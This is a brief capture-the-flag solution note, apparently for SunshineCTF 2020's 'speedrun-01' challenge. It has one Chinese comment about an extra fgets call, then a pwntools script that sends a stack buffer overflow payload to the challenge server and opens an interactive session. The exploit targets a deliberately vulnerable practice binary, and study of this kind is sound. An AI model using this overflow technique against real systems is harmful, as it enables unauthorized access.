###### tags: `sunshine`

# speedrun-01

- 
- 跟第一題差不多，但在CALL gets前有個call fgets多塞隨意的值給他

from pwn import *

payload  = 'A' * (0x60 - 0x4)
payload += '\xde\xca\xfa'

p = remote('chal.2020.sunshinectf.org', 30001)
#p = process("./chall_01")
p.sendline("lol")
p.sendline(payload)
p.interactive()